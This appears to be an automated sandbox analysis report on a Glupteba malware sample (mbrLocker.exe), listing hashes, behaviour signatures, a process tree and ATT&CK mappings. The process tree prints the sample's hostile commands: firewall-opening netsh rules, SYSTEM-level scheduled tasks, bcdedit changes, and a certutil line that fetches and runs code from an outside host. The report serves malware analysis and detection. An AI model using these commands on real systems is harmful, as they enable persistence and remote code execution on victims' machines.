Analysis
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max time kernel
898s -
max time network
888s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
01-01-2025 22:08
General
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Target
mbrLocker.exe
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Size
3.8MB
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MD5
86a4599be8ad5035ed8f81a776a1a106
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SHA1
0a51ffaeb23178e79f0a783d7c009f9bf28f95b5
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SHA256
5e00e50d04130b470825d6c1bd58542d32a0a4f52c4d6e6ff01ea1cfad8fce3e
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SHA512
e7a1f4c0d0fb5c43bba1ce1dc54007c3ecebd865f70bed963e2400db3be898fe364bed723f7f3ff58d47309a9889f4b545e3de9fc71a4a72aaa8824f26c82afa
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SSDEEP
98304:luH/zVSNmGHjYKNC/qPqaMy25WJTZsRvO6Y:8HBymGDY/O4ikvO
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba family
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Glupteba payload 51 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Modifies Windows Firewall 2 TTPs 2 IoCs
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Executes dropped EXE 3 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
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Modifies boot configuration data using bcdedit 1 IoCs
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Suspicious use of SetThreadContext 3 IoCs
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Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
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Drops file in Windows directory 2 IoCs
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
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System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Modifies data under HKEY_USERS 64 IoCs
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Modifies system certificate store 2 TTPs 3 IoCs
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Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 43 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"C:\Users\Admin\AppData\Local\Temp\mbrLocker.exe"4⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\465977d5e409\465977d5e409\465977d5e409.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\465977d5e409\465977d5e409\465977d5e409.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
3.8MB
MD586a4599be8ad5035ed8f81a776a1a106
SHA10a51ffaeb23178e79f0a783d7c009f9bf28f95b5
SHA2565e00e50d04130b470825d6c1bd58542d32a0a4f52c4d6e6ff01ea1cfad8fce3e
SHA512e7a1f4c0d0fb5c43bba1ce1dc54007c3ecebd865f70bed963e2400db3be898fe364bed723f7f3ff58d47309a9889f4b545e3de9fc71a4a72aaa8824f26c82afa
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
8.3MB
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Filesize
8.3MB
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Filesize
8.3MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
-
Filesize
7.1MB
-
Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
7.1MB
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Filesize
3.7MB
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Filesize
7.0MB